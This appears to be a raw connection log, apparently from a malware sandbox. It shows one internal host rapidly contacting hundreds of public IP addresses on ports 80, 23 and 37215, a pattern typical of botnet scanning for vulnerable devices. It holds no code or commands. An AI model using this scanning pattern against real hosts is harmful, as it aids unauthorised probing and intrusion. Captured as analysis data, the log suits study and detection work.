Jun 10, 2024 15:37:59.482254028 CEST	80	16833	34.159.157.242	192.168.2.13
Jun 10, 2024 15:37:59.482275009 CEST	16833	80	192.168.2.13	5.39.84.242
Jun 10, 2024 15:37:59.482280970 CEST	80	16833	156.196.95.20	192.168.2.13
Jun 10, 2024 15:37:59.482281923 CEST	16833	80	192.168.2.13	34.159.157.242
Jun 10, 2024 15:37:59.482316017 CEST	80	16833	193.32.70.113	192.168.2.13
Jun 10, 2024 15:37:59.482317924 CEST	16833	80	192.168.2.13	156.196.95.20
Jun 10, 2024 15:37:59.482328892 CEST	80	16833	154.30.96.185	192.168.2.13
Jun 10, 2024 15:37:59.482341051 CEST	80	16833	216.53.216.21	192.168.2.13
Jun 10, 2024 15:37:59.482359886 CEST	16833	80	192.168.2.13	193.32.70.113
Jun 10, 2024 15:37:59.482364893 CEST	16833	80	192.168.2.13	154.30.96.185
Jun 10, 2024 15:37:59.482371092 CEST	80	16833	217.83.246.128	192.168.2.13
Jun 10, 2024 15:37:59.482374907 CEST	16833	80	192.168.2.13	216.53.216.21
Jun 10, 2024 15:37:59.482384920 CEST	80	16833	102.159.78.3	192.168.2.13
Jun 10, 2024 15:37:59.482397079 CEST	80	16833	101.95.196.107	192.168.2.13
Jun 10, 2024 15:37:59.482405901 CEST	16833	80	192.168.2.13	217.83.246.128
Jun 10, 2024 15:37:59.482410908 CEST	80	16833	165.252.154.242	192.168.2.13
Jun 10, 2024 15:37:59.482423067 CEST	80	16833	42.19.226.167	192.168.2.13
Jun 10, 2024 15:37:59.482429028 CEST	16833	80	192.168.2.13	101.95.196.107
Jun 10, 2024 15:37:59.482434988 CEST	80	16833	112.204.34.128	192.168.2.13
Jun 10, 2024 15:37:59.482438087 CEST	16833	80	192.168.2.13	102.159.78.3
Jun 10, 2024 15:37:59.482440948 CEST	16833	80	192.168.2.13	165.252.154.242
Jun 10, 2024 15:37:59.482460022 CEST	16833	80	192.168.2.13	42.19.226.167
Jun 10, 2024 15:37:59.482466936 CEST	16833	80	192.168.2.13	112.204.34.128
Jun 10, 2024 15:37:59.482489109 CEST	60470	37215	192.168.2.13	156.57.11.197
Jun 10, 2024 15:37:59.483059883 CEST	80	16833	86.27.244.166	192.168.2.13
Jun 10, 2024 15:37:59.483073950 CEST	80	16833	185.113.204.23	192.168.2.13
Jun 10, 2024 15:37:59.483086109 CEST	80	16833	53.226.21.23	192.168.2.13
Jun 10, 2024 15:37:59.483098984 CEST	80	16833	132.2.216.173	192.168.2.13
Jun 10, 2024 15:37:59.483107090 CEST	16833	80	192.168.2.13	86.27.244.166
Jun 10, 2024 15:37:59.483109951 CEST	16833	80	192.168.2.13	185.113.204.23
Jun 10, 2024 15:37:59.483113050 CEST	80	16833	200.173.179.81	192.168.2.13
Jun 10, 2024 15:37:59.483120918 CEST	16833	80	192.168.2.13	53.226.21.23
Jun 10, 2024 15:37:59.483125925 CEST	80	16833	87.158.85.16	192.168.2.13
Jun 10, 2024 15:37:59.483133078 CEST	16833	80	192.168.2.13	132.2.216.173
Jun 10, 2024 15:37:59.483150005 CEST	80	16833	220.224.218.240	192.168.2.13
Jun 10, 2024 15:37:59.483156919 CEST	16833	80	192.168.2.13	87.158.85.16
Jun 10, 2024 15:37:59.483163118 CEST	80	16833	46.233.144.43	192.168.2.13
Jun 10, 2024 15:37:59.483169079 CEST	16833	80	192.168.2.13	200.173.179.81
Jun 10, 2024 15:37:59.483175993 CEST	80	16833	40.29.187.73	192.168.2.13
Jun 10, 2024 15:37:59.483187914 CEST	16833	80	192.168.2.13	220.224.218.240
Jun 10, 2024 15:37:59.483189106 CEST	80	16833	169.16.92.41	192.168.2.13
Jun 10, 2024 15:37:59.483201981 CEST	80	16833	53.112.29.63	192.168.2.13
Jun 10, 2024 15:37:59.483201981 CEST	16833	80	192.168.2.13	40.29.187.73
Jun 10, 2024 15:37:59.483205080 CEST	16833	80	192.168.2.13	46.233.144.43
Jun 10, 2024 15:37:59.483215094 CEST	80	16833	99.136.93.237	192.168.2.13
Jun 10, 2024 15:37:59.483227968 CEST	80	16833	197.31.214.208	192.168.2.13
Jun 10, 2024 15:37:59.483230114 CEST	16833	80	192.168.2.13	169.16.92.41
Jun 10, 2024 15:37:59.483239889 CEST	80	16833	64.70.176.50	192.168.2.13
Jun 10, 2024 15:37:59.483247995 CEST	16833	80	192.168.2.13	53.112.29.63
Jun 10, 2024 15:37:59.483247995 CEST	16833	80	192.168.2.13	99.136.93.237
Jun 10, 2024 15:37:59.483252048 CEST	80	16833	206.79.118.21	192.168.2.13
Jun 10, 2024 15:37:59.483264923 CEST	16833	80	192.168.2.13	197.31.214.208
Jun 10, 2024 15:37:59.483267069 CEST	80	16833	220.246.69.227	192.168.2.13
Jun 10, 2024 15:37:59.483277082 CEST	16833	80	192.168.2.13	64.70.176.50
Jun 10, 2024 15:37:59.483277082 CEST	16833	80	192.168.2.13	206.79.118.21
Jun 10, 2024 15:37:59.483308077 CEST	16833	80	192.168.2.13	220.246.69.227
Jun 10, 2024 15:37:59.483326912 CEST	80	16833	156.154.77.178	192.168.2.13
Jun 10, 2024 15:37:59.483340025 CEST	80	16833	181.157.220.148	192.168.2.13
Jun 10, 2024 15:37:59.483351946 CEST	80	16833	115.133.55.129	192.168.2.13
Jun 10, 2024 15:37:59.483361959 CEST	16833	80	192.168.2.13	156.154.77.178
Jun 10, 2024 15:37:59.483362913 CEST	80	16833	112.221.236.95	192.168.2.13
Jun 10, 2024 15:37:59.483375072 CEST	80	16833	13.43.0.39	192.168.2.13
Jun 10, 2024 15:37:59.483378887 CEST	16833	80	192.168.2.13	181.157.220.148
Jun 10, 2024 15:37:59.483387947 CEST	80	16833	181.130.56.198	192.168.2.13
Jun 10, 2024 15:37:59.483387947 CEST	16833	80	192.168.2.13	115.133.55.129
Jun 10, 2024 15:37:59.483392000 CEST	16833	80	192.168.2.13	112.221.236.95
Jun 10, 2024 15:37:59.483401060 CEST	80	16833	162.226.61.243	192.168.2.13
Jun 10, 2024 15:37:59.483407021 CEST	16833	80	192.168.2.13	13.43.0.39
Jun 10, 2024 15:37:59.483413935 CEST	80	16833	157.104.201.154	192.168.2.13
Jun 10, 2024 15:37:59.483428955 CEST	16833	80	192.168.2.13	181.130.56.198
Jun 10, 2024 15:37:59.483428955 CEST	80	16833	124.198.230.56	192.168.2.13
Jun 10, 2024 15:37:59.483436108 CEST	16833	80	192.168.2.13	162.226.61.243
Jun 10, 2024 15:37:59.483442068 CEST	80	16833	152.83.224.204	192.168.2.13
Jun 10, 2024 15:37:59.483444929 CEST	16833	80	192.168.2.13	157.104.201.154
Jun 10, 2024 15:37:59.483455896 CEST	80	16833	96.171.224.255	192.168.2.13
Jun 10, 2024 15:37:59.483469009 CEST	16833	80	192.168.2.13	124.198.230.56
Jun 10, 2024 15:37:59.483473063 CEST	16833	80	192.168.2.13	152.83.224.204
Jun 10, 2024 15:37:59.483481884 CEST	80	16833	135.106.4.49	192.168.2.13
Jun 10, 2024 15:37:59.483500957 CEST	16833	80	192.168.2.13	96.171.224.255
Jun 10, 2024 15:37:59.483587027 CEST	16833	80	192.168.2.13	135.106.4.49
Jun 10, 2024 15:37:59.483975887 CEST	80	16833	35.6.140.171	192.168.2.13
Jun 10, 2024 15:37:59.484006882 CEST	80	16833	67.178.145.169	192.168.2.13
Jun 10, 2024 15:37:59.484018087 CEST	16833	80	192.168.2.13	35.6.140.171
Jun 10, 2024 15:37:59.484020948 CEST	80	16833	223.77.161.58	192.168.2.13
Jun 10, 2024 15:37:59.484045982 CEST	16833	80	192.168.2.13	67.178.145.169
Jun 10, 2024 15:37:59.484045982 CEST	16833	80	192.168.2.13	223.77.161.58
Jun 10, 2024 15:37:59.484147072 CEST	80	16833	17.180.5.18	192.168.2.13
Jun 10, 2024 15:37:59.484160900 CEST	80	16833	97.59.162.117	192.168.2.13
Jun 10, 2024 15:37:59.484172106 CEST	80	16833	120.49.47.0	192.168.2.13
Jun 10, 2024 15:37:59.484189034 CEST	16833	80	192.168.2.13	17.180.5.18
Jun 10, 2024 15:37:59.484190941 CEST	16833	80	192.168.2.13	97.59.162.117
Jun 10, 2024 15:37:59.484217882 CEST	80	16833	80.166.229.108	192.168.2.13
Jun 10, 2024 15:37:59.484217882 CEST	16833	80	192.168.2.13	120.49.47.0
Jun 10, 2024 15:37:59.484231949 CEST	37215	49110	156.143.243.166	192.168.2.13
Jun 10, 2024 15:37:59.484272957 CEST	49110	37215	192.168.2.13	156.143.243.166
Jun 10, 2024 15:37:59.484452963 CEST	23	43168	222.55.142.174	192.168.2.13
Jun 10, 2024 15:37:59.484489918 CEST	16833	80	192.168.2.13	80.166.229.108
Jun 10, 2024 15:37:59.484489918 CEST	43168	23	192.168.2.13	222.55.142.174
Jun 10, 2024 15:37:59.485435963 CEST	35258	23	192.168.2.13	163.160.54.54
Jun 10, 2024 15:37:59.485642910 CEST	58648	80	192.168.2.13	50.13.193.163
Jun 10, 2024 15:37:59.485677004 CEST	80	37862	203.54.242.166	192.168.2.13
Jun 10, 2024 15:37:59.485722065 CEST	37862	80	192.168.2.13	203.54.242.166
Jun 10, 2024 15:37:59.486510038 CEST	37215	60882	41.1.16.245	192.168.2.13
Jun 10, 2024 15:37:59.486550093 CEST	60882	37215	192.168.2.13	41.1.16.245
Jun 10, 2024 15:37:59.486908913 CEST	23	54526	186.246.195.187	192.168.2.13
Jun 10, 2024 15:37:59.486947060 CEST	54526	23	192.168.2.13	186.246.195.187
Jun 10, 2024 15:37:59.486999989 CEST	44436	37215	192.168.2.13	156.190.41.183
Jun 10, 2024 15:37:59.487324953 CEST	80	32824	70.109.71.255	192.168.2.13
Jun 10, 2024 15:37:59.487420082 CEST	32824	80	192.168.2.13	70.109.71.255
Jun 10, 2024 15:37:59.488418102 CEST	37215	55322	41.112.237.34	192.168.2.13
Jun 10, 2024 15:37:59.488457918 CEST	55322	37215	192.168.2.13	41.112.237.34
Jun 10, 2024 15:37:59.489428043 CEST	23	41240	87.202.96.40	192.168.2.13
Jun 10, 2024 15:37:59.489445925 CEST	80	35674	151.218.172.48	192.168.2.13
Jun 10, 2024 15:37:59.489466906 CEST	41240	23	192.168.2.13	87.202.96.40
Jun 10, 2024 15:37:59.489481926 CEST	35674	80	192.168.2.13	151.218.172.48
Jun 10, 2024 15:37:59.489679098 CEST	37215	60470	156.57.11.197	192.168.2.13
Jun 10, 2024 15:37:59.489717960 CEST	60470	37215	192.168.2.13	156.57.11.197
Jun 10, 2024 15:37:59.489864111 CEST	56130	23	192.168.2.13	93.190.24.11
Jun 10, 2024 15:37:59.490113020 CEST	53434	80	192.168.2.13	70.156.171.43
Jun 10, 2024 15:37:59.490356922 CEST	23	35258	163.160.54.54	192.168.2.13
Jun 10, 2024 15:37:59.490398884 CEST	35258	23	192.168.2.13	163.160.54.54
Jun 10, 2024 15:37:59.490494013 CEST	80	58648	50.13.193.163	192.168.2.13
Jun 10, 2024 15:37:59.490534067 CEST	58648	80	192.168.2.13	50.13.193.163
Jun 10, 2024 15:37:59.490784883 CEST	33064	37215	192.168.2.13	41.251.69.196
Jun 10, 2024 15:37:59.491955996 CEST	37215	44436	156.190.41.183	192.168.2.13
Jun 10, 2024 15:37:59.491997957 CEST	44436	37215	192.168.2.13	156.190.41.183
Jun 10, 2024 15:37:59.494672060 CEST	57436	23	192.168.2.13	172.136.165.150
Jun 10, 2024 15:37:59.494795084 CEST	23	56130	93.190.24.11	192.168.2.13
Jun 10, 2024 15:37:59.494836092 CEST	56130	23	192.168.2.13	93.190.24.11
Jun 10, 2024 15:37:59.494929075 CEST	80	53434	70.156.171.43	192.168.2.13
Jun 10, 2024 15:37:59.494951963 CEST	43434	80	192.168.2.13	57.244.132.164
Jun 10, 2024 15:37:59.495085955 CEST	53434	80	192.168.2.13	70.156.171.43
Jun 10, 2024 15:37:59.495340109 CEST	41114	37215	192.168.2.13	156.18.195.164
Jun 10, 2024 15:37:59.495718956 CEST	37215	33064	41.251.69.196	192.168.2.13
Jun 10, 2024 15:37:59.495763063 CEST	33064	37215	192.168.2.13	41.251.69.196
Jun 10, 2024 15:37:59.498637915 CEST	45682	37215	192.168.2.13	41.117.101.224
Jun 10, 2024 15:37:59.498846054 CEST	54986	23	192.168.2.13	32.199.108.90
Jun 10, 2024 15:37:59.499100924 CEST	35872	80	192.168.2.13	194.55.24.22
Jun 10, 2024 15:37:59.499653101 CEST	23	57436	172.136.165.150	192.168.2.13
Jun 10, 2024 15:37:59.499716997 CEST	57436	23	192.168.2.13	172.136.165.150
Jun 10, 2024 15:37:59.499824047 CEST	80	43434	57.244.132.164	192.168.2.13
Jun 10, 2024 15:37:59.499870062 CEST	43434	80	192.168.2.13	57.244.132.164
Jun 10, 2024 15:37:59.500185966 CEST	37215	41114	156.18.195.164	192.168.2.13
Jun 10, 2024 15:37:59.500231028 CEST	41114	37215	192.168.2.13	156.18.195.164
Jun 10, 2024 15:37:59.503432035 CEST	33796	37215	192.168.2.13	156.205.253.53
Jun 10, 2024 15:37:59.503526926 CEST	37215	45682	41.117.101.224	192.168.2.13
Jun 10, 2024 15:37:59.503572941 CEST	45682	37215	192.168.2.13	41.117.101.224
Jun 10, 2024 15:37:59.503865957 CEST	23	54986	32.199.108.90	192.168.2.13
Jun 10, 2024 15:37:59.503907919 CEST	46732	23	192.168.2.13	181.116.62.108
Jun 10, 2024 15:37:59.503918886 CEST	54986	23	192.168.2.13	32.199.108.90
Jun 10, 2024 15:37:59.503941059 CEST	80	35872	194.55.24.22	192.168.2.13
Jun 10, 2024 15:37:59.504024029 CEST	35872	80	192.168.2.13	194.55.24.22
Jun 10, 2024 15:37:59.504416943 CEST	50134	80	192.168.2.13	102.230.19.253
Jun 10, 2024 15:37:59.507430077 CEST	32834	37215	192.168.2.13	156.249.70.243
Jun 10, 2024 15:37:59.508335114 CEST	37215	33796	156.205.253.53	192.168.2.13
Jun 10, 2024 15:37:59.508378983 CEST	33796	37215	192.168.2.13	156.205.253.53
Jun 10, 2024 15:37:59.508812904 CEST	23	46732	181.116.62.108	192.168.2.13
Jun 10, 2024 15:37:59.508996964 CEST	46732	23	192.168.2.13	181.116.62.108
Jun 10, 2024 15:37:59.509229898 CEST	80	50134	102.230.19.253	192.168.2.13
Jun 10, 2024 15:37:59.509272099 CEST	50134	80	192.168.2.13	102.230.19.253
Jun 10, 2024 15:37:59.509664059 CEST	58700	23	192.168.2.13	110.210.8.107
Jun 10, 2024 15:37:59.512391090 CEST	37215	32834	156.249.70.243	192.168.2.13
Jun 10, 2024 15:37:59.512504101 CEST	45956	80	192.168.2.13	20.2.48.78
Jun 10, 2024 15:37:59.512504101 CEST	32834	37215	192.168.2.13	156.249.70.243
Jun 10, 2024 15:37:59.514498949 CEST	23	58700	110.210.8.107	192.168.2.13
Jun 10, 2024 15:37:59.514583111 CEST	58700	23	192.168.2.13	110.210.8.107
Jun 10, 2024 15:37:59.516244888 CEST	37610	37215	192.168.2.13	156.89.39.231
Jun 10, 2024 15:37:59.517350912 CEST	80	45956	20.2.48.78	192.168.2.13
Jun 10, 2024 15:37:59.517466068 CEST	45956	80	192.168.2.13	20.2.48.78
Jun 10, 2024 15:37:59.518172979 CEST	43486	23	192.168.2.13	50.0.195.92
Jun 10, 2024 15:37:59.519167900 CEST	60126	80	192.168.2.13	88.157.63.21
Jun 10, 2024 15:37:59.521074057 CEST	53100	37215	192.168.2.13	41.97.23.92
Jun 10, 2024 15:37:59.521100998 CEST	37215	37610	156.89.39.231	192.168.2.13
Jun 10, 2024 15:37:59.521137953 CEST	37610	37215	192.168.2.13	156.89.39.231
Jun 10, 2024 15:37:59.521306992 CEST	35150	23	192.168.2.13	164.60.105.204
Jun 10, 2024 15:37:59.523099899 CEST	23	43486	50.0.195.92	192.168.2.13
Jun 10, 2024 15:37:59.523142099 CEST	43486	23	192.168.2.13	50.0.195.92
Jun 10, 2024 15:37:59.523973942 CEST	39338	80	192.168.2.13	193.5.227.125
Jun 10, 2024 15:37:59.524118900 CEST	80	60126	88.157.63.21	192.168.2.13
Jun 10, 2024 15:37:59.524171114 CEST	60126	80	192.168.2.13	88.157.63.21
Jun 10, 2024 15:37:59.525749922 CEST	56460	37215	192.168.2.13	156.32.132.93
Jun 10, 2024 15:37:59.525998116 CEST	37215	53100	41.97.23.92	192.168.2.13
Jun 10, 2024 15:37:59.526037931 CEST	53100	37215	192.168.2.13	41.97.23.92
Jun 10, 2024 15:37:59.526103973 CEST	23	35150	164.60.105.204	192.168.2.13
Jun 10, 2024 15:37:59.526124001 CEST	41438	23	192.168.2.13	144.47.107.187
Jun 10, 2024 15:37:59.526143074 CEST	35150	23	192.168.2.13	164.60.105.204
Jun 10, 2024 15:37:59.527817965 CEST	49156	80	192.168.2.13	181.171.108.67
Jun 10, 2024 15:37:59.528983116 CEST	80	39338	193.5.227.125	192.168.2.13
Jun 10, 2024 15:37:59.529036999 CEST	39338	80	192.168.2.13	193.5.227.125
Jun 10, 2024 15:37:59.529376984 CEST	56378	37215	192.168.2.13	156.60.90.199
Jun 10, 2024 15:37:59.530726910 CEST	37215	56460	156.32.132.93	192.168.2.13
Jun 10, 2024 15:37:59.530775070 CEST	56460	37215	192.168.2.13	156.32.132.93
Jun 10, 2024 15:37:59.530775070 CEST	51304	23	192.168.2.13	101.0.241.188
Jun 10, 2024 15:37:59.531481981 CEST	23	41438	144.47.107.187	192.168.2.13
Jun 10, 2024 15:37:59.531523943 CEST	41438	23	192.168.2.13	144.47.107.187
Jun 10, 2024 15:37:59.532105923 CEST	54128	80	192.168.2.13	115.56.153.54
Jun 10, 2024 15:37:59.532672882 CEST	80	49156	181.171.108.67	192.168.2.13
Jun 10, 2024 15:37:59.532713890 CEST	49156	80	192.168.2.13	181.171.108.67
Jun 10, 2024 15:37:59.533620119 CEST	38508	37215	192.168.2.13	156.67.226.82
Jun 10, 2024 15:37:59.534338951 CEST	37215	56378	156.60.90.199	192.168.2.13
Jun 10, 2024 15:37:59.534384966 CEST	56378	37215	192.168.2.13	156.60.90.199
Jun 10, 2024 15:37:59.534931898 CEST	36874	23	192.168.2.13	45.211.194.205
Jun 10, 2024 15:37:59.536066055 CEST	23	51304	101.0.241.188	192.168.2.13
Jun 10, 2024 15:37:59.536173105 CEST	51304	23	192.168.2.13	101.0.241.188
Jun 10, 2024 15:37:59.536477089 CEST	59898	80	192.168.2.13	213.227.25.210
Jun 10, 2024 15:37:59.537180901 CEST	80	54128	115.56.153.54	192.168.2.13
Jun 10, 2024 15:37:59.537230015 CEST	54128	80	192.168.2.13	115.56.153.54
Jun 10, 2024 15:37:59.537307978 CEST	47918	37215	192.168.2.13	197.192.210.171
Jun 10, 2024 15:37:59.538471937 CEST	37215	38508	156.67.226.82	192.168.2.13
Jun 10, 2024 15:37:59.538516998 CEST	38508	37215	192.168.2.13	156.67.226.82
Jun 10, 2024 15:37:59.539836884 CEST	23	36874	45.211.194.205	192.168.2.13
Jun 10, 2024 15:37:59.539875031 CEST	36874	23	192.168.2.13	45.211.194.205
Jun 10, 2024 15:37:59.539916992 CEST	54922	23	192.168.2.13	122.156.84.221
Jun 10, 2024 15:37:59.540230989 CEST	59220	80	192.168.2.13	32.111.100.187
Jun 10, 2024 15:37:59.541358948 CEST	80	59898	213.227.25.210	192.168.2.13
Jun 10, 2024 15:37:59.541412115 CEST	59898	80	192.168.2.13	213.227.25.210
Jun 10, 2024 15:37:59.541539907 CEST	51088	37215	192.168.2.13	156.185.143.113
Jun 10, 2024 15:37:59.542172909 CEST	37215	47918	197.192.210.171	192.168.2.13
Jun 10, 2024 15:37:59.542257071 CEST	47918	37215	192.168.2.13	197.192.210.171
Jun 10, 2024 15:37:59.544791937 CEST	23	54922	122.156.84.221	192.168.2.13
Jun 10, 2024 15:37:59.544835091 CEST	54922	23	192.168.2.13	122.156.84.221
Jun 10, 2024 15:37:59.545129061 CEST	80	59220	32.111.100.187	192.168.2.13
Jun 10, 2024 15:37:59.545185089 CEST	59220	80	192.168.2.13	32.111.100.187
Jun 10, 2024 15:37:59.545372009 CEST	38602	23	192.168.2.13	79.64.51.144
Jun 10, 2024 15:37:59.545620918 CEST	37506	80	192.168.2.13	115.165.178.143
Jun 10, 2024 15:37:59.546375036 CEST	45636	37215	192.168.2.13	197.11.121.199
Jun 10, 2024 15:37:59.546382904 CEST	37215	51088	156.185.143.113	192.168.2.13
Jun 10, 2024 15:37:59.546430111 CEST	51088	37215	192.168.2.13	156.185.143.113
Jun 10, 2024 15:37:59.550283909 CEST	23	38602	79.64.51.144	192.168.2.13
Jun 10, 2024 15:37:59.550335884 CEST	38602	23	192.168.2.13	79.64.51.144
Jun 10, 2024 15:37:59.550477982 CEST	80	37506	115.165.178.143	192.168.2.13
Jun 10, 2024 15:37:59.550519943 CEST	37506	80	192.168.2.13	115.165.178.143
Jun 10, 2024 15:37:59.551279068 CEST	37215	45636	197.11.121.199	192.168.2.13
Jun 10, 2024 15:37:59.551332951 CEST	45636	37215	192.168.2.13	197.11.121.199
Jun 10, 2024 15:37:59.551419973 CEST	39218	80	192.168.2.13	9.203.151.161
Jun 10, 2024 15:37:59.552639008 CEST	47756	23	192.168.2.13	4.146.12.76
Jun 10, 2024 15:37:59.554013014 CEST	56768	37215	192.168.2.13	41.92.127.129
Jun 10, 2024 15:37:59.556292057 CEST	80	39218	9.203.151.161	192.168.2.13
Jun 10, 2024 15:37:59.556337118 CEST	39218	80	192.168.2.13	9.203.151.161
Jun 10, 2024 15:37:59.557461977 CEST	23	47756	4.146.12.76	192.168.2.13
Jun 10, 2024 15:37:59.557506084 CEST	47756	23	192.168.2.13	4.146.12.76
Jun 10, 2024 15:37:59.558924913 CEST	37215	56768	41.92.127.129	192.168.2.13
Jun 10, 2024 15:37:59.560501099 CEST	56768	37215	192.168.2.13	41.92.127.129
Jun 10, 2024 15:37:59.568627119 CEST	40246	80	192.168.2.13	96.121.230.115
Jun 10, 2024 15:37:59.569727898 CEST	49626	37215	192.168.2.13	197.53.161.229
Jun 10, 2024 15:37:59.569895983 CEST	37972	23	192.168.2.13	91.118.235.84
Jun 10, 2024 15:37:59.573559999 CEST	80	40246	96.121.230.115	192.168.2.13
Jun 10, 2024 15:37:59.573606968 CEST	40246	80	192.168.2.13	96.121.230.115
Jun 10, 2024 15:37:59.574177027 CEST	46042	80	192.168.2.13	31.24.128.114
Jun 10, 2024 15:37:59.574641943 CEST	37215	49626	197.53.161.229	192.168.2.13
Jun 10, 2024 15:37:59.574687958 CEST	49626	37215	192.168.2.13	197.53.161.229
Jun 10, 2024 15:37:59.574783087 CEST	23	37972	91.118.235.84	192.168.2.13
Jun 10, 2024 15:37:59.574822903 CEST	37972	23	192.168.2.13	91.118.235.84
Jun 10, 2024 15:37:59.574901104 CEST	33514	37215	192.168.2.13	156.78.13.161
Jun 10, 2024 15:37:59.576149940 CEST	59204	23	192.168.2.13	117.7.158.134
Jun 10, 2024 15:37:59.579072952 CEST	80	46042	31.24.128.114	192.168.2.13
Jun 10, 2024 15:37:59.579149961 CEST	46042	80	192.168.2.13	31.24.128.114
Jun 10, 2024 15:37:59.579806089 CEST	37215	33514	156.78.13.161	192.168.2.13
Jun 10, 2024 15:37:59.580504894 CEST	33514	37215	192.168.2.13	156.78.13.161
Jun 10, 2024 15:37:59.581046104 CEST	23	59204	117.7.158.134	192.168.2.13
Jun 10, 2024 15:37:59.581093073 CEST	59204	23	192.168.2.13	117.7.158.134
Jun 10, 2024 15:37:59.586334944 CEST	41282	37215	192.168.2.13	156.97.36.34
Jun 10, 2024 15:37:59.587850094 CEST	41002	80	192.168.2.13	173.150.225.180
Jun 10, 2024 15:37:59.589428902 CEST	60480	23	192.168.2.13	153.63.20.187
Jun 10, 2024 15:37:59.591232061 CEST	37215	41282	156.97.36.34	192.168.2.13
Jun 10, 2024 15:37:59.591392040 CEST	41282	37215	192.168.2.13	156.97.36.34
Jun 10, 2024 15:37:59.592792034 CEST	80	41002	173.150.225.180	192.168.2.13
Jun 10, 2024 15:37:59.592864037 CEST	41002	80	192.168.2.13	173.150.225.180
Jun 10, 2024 15:37:59.594353914 CEST	23	60480	153.63.20.187	192.168.2.13
Jun 10, 2024 15:37:59.594394922 CEST	60480	23	192.168.2.13	153.63.20.187
Jun 10, 2024 15:37:59.599797964 CEST	55606	37215	192.168.2.13	197.142.203.17
Jun 10, 2024 15:37:59.601125002 CEST	52842	80	192.168.2.13	181.232.47.252
Jun 10, 2024 15:37:59.602674961 CEST	52194	23	192.168.2.13	18.63.185.184
Jun 10, 2024 15:37:59.604732037 CEST	37215	55606	197.142.203.17	192.168.2.13
Jun 10, 2024 15:37:59.604775906 CEST	55606	37215	192.168.2.13	197.142.203.17
Jun 10, 2024 15:37:59.606014967 CEST	80	52842	181.232.47.252	192.168.2.13
Jun 10, 2024 15:37:59.606054068 CEST	52842	80	192.168.2.13	181.232.47.252
Jun 10, 2024 15:37:59.607656956 CEST	23	52194	18.63.185.184	192.168.2.13
Jun 10, 2024 15:37:59.607712984 CEST	52194	23	192.168.2.13	18.63.185.184
Jun 10, 2024 15:37:59.607763052 CEST	34092	37215	192.168.2.13	41.30.124.178
Jun 10, 2024 15:37:59.610786915 CEST	37488	80	192.168.2.13	86.102.128.211
Jun 10, 2024 15:37:59.611884117 CEST	35242	23	192.168.2.13	72.115.76.96
Jun 10, 2024 15:37:59.612669945 CEST	37215	34092	41.30.124.178	192.168.2.13
Jun 10, 2024 15:37:59.612720966 CEST	34092	37215	192.168.2.13	41.30.124.178
Jun 10, 2024 15:37:59.614115953 CEST	60614	37215	192.168.2.13	156.10.20.117
Jun 10, 2024 15:37:59.615725040 CEST	80	37488	86.102.128.211	192.168.2.13
Jun 10, 2024 15:37:59.615797043 CEST	37488	80	192.168.2.13	86.102.128.211
Jun 10, 2024 15:37:59.616473913 CEST	39842	80	192.168.2.13	13.159.171.238
Jun 10, 2024 15:37:59.616775990 CEST	23	35242	72.115.76.96	192.168.2.13
Jun 10, 2024 15:37:59.616848946 CEST	35242	23	192.168.2.13	72.115.76.96
Jun 10, 2024 15:37:59.617338896 CEST	60934	23	192.168.2.13	174.41.100.150
Jun 10, 2024 15:37:59.618431091 CEST	46644	37215	192.168.2.13	156.79.10.64
Jun 10, 2024 15:37:59.619064093 CEST	37215	60614	156.10.20.117	192.168.2.13
Jun 10, 2024 15:37:59.619119883 CEST	60614	37215	192.168.2.13	156.10.20.117
Jun 10, 2024 15:37:59.621395111 CEST	80	39842	13.159.171.238	192.168.2.13
Jun 10, 2024 15:37:59.621436119 CEST	39842	80	192.168.2.13	13.159.171.238
Jun 10, 2024 15:37:59.622313023 CEST	23	60934	174.41.100.150	192.168.2.13
Jun 10, 2024 15:37:59.622358084 CEST	60934	23	192.168.2.13	174.41.100.150
Jun 10, 2024 15:37:59.623613119 CEST	37215	46644	156.79.10.64	192.168.2.13
Jun 10, 2024 15:37:59.623661995 CEST	46644	37215	192.168.2.13	156.79.10.64
Jun 10, 2024 15:37:59.624639988 CEST	42016	80	192.168.2.13	195.50.200.227
Jun 10, 2024 15:37:59.626045942 CEST	42304	23	192.168.2.13	52.34.186.234
Jun 10, 2024 15:37:59.627197981 CEST	53768	37215	192.168.2.13	156.31.27.232
Jun 10, 2024 15:37:59.629550934 CEST	80	42016	195.50.200.227	192.168.2.13
Jun 10, 2024 15:37:59.629595995 CEST	42016	80	192.168.2.13	195.50.200.227
Jun 10, 2024 15:37:59.630923033 CEST	23	42304	52.34.186.234	192.168.2.13
Jun 10, 2024 15:37:59.630969048 CEST	42304	23	192.168.2.13	52.34.186.234
Jun 10, 2024 15:37:59.632114887 CEST	37215	53768	156.31.27.232	192.168.2.13
Jun 10, 2024 15:37:59.632162094 CEST	53768	37215	192.168.2.13	156.31.27.232
Jun 10, 2024 15:37:59.633388042 CEST	47840	80	192.168.2.13	99.27.23.33
Jun 10, 2024 15:37:59.634438992 CEST	33492	37215	192.168.2.13	197.125.224.191
Jun 10, 2024 15:37:59.634617090 CEST	47514	23	192.168.2.13	174.5.116.14
Jun 10, 2024 15:37:59.638303041 CEST	80	47840	99.27.23.33	192.168.2.13
Jun 10, 2024 15:37:59.638341904 CEST	47840	80	192.168.2.13	99.27.23.33
Jun 10, 2024 15:37:59.639331102 CEST	37215	33492	197.125.224.191	192.168.2.13
Jun 10, 2024 15:37:59.639398098 CEST	33492	37215	192.168.2.13	197.125.224.191
Jun 10, 2024 15:37:59.639534950 CEST	23	47514	174.5.116.14	192.168.2.13
Jun 10, 2024 15:37:59.639580965 CEST	47514	23	192.168.2.13	174.5.116.14
Jun 10, 2024 15:37:59.644062996 CEST	35958	80	192.168.2.13	158.214.75.80
Jun 10, 2024 15:37:59.644390106 CEST	53482	37215	192.168.2.13	156.82.1.213
Jun 10, 2024 15:37:59.645505905 CEST	37512	23	192.168.2.13	112.8.190.180
Jun 10, 2024 15:37:59.648930073 CEST	80	35958	158.214.75.80	192.168.2.13
Jun 10, 2024 15:37:59.649267912 CEST	35958	80	192.168.2.13	158.214.75.80
Jun 10, 2024 15:37:59.649285078 CEST	37215	53482	156.82.1.213	192.168.2.13
Jun 10, 2024 15:37:59.649327040 CEST	53482	37215	192.168.2.13	156.82.1.213
Jun 10, 2024 15:37:59.650448084 CEST	23	37512	112.8.190.180	192.168.2.13
Jun 10, 2024 15:37:59.650496006 CEST	37512	23	192.168.2.13	112.8.190.180
Jun 10, 2024 15:37:59.653126001 CEST	39894	37215	192.168.2.13	197.56.205.250
Jun 10, 2024 15:37:59.654926062 CEST	40556	80	192.168.2.13	84.162.2.5
Jun 10, 2024 15:37:59.655806065 CEST	42496	23	192.168.2.13	118.103.225.24
Jun 10, 2024 15:37:59.658042908 CEST	37215	39894	197.56.205.250	192.168.2.13
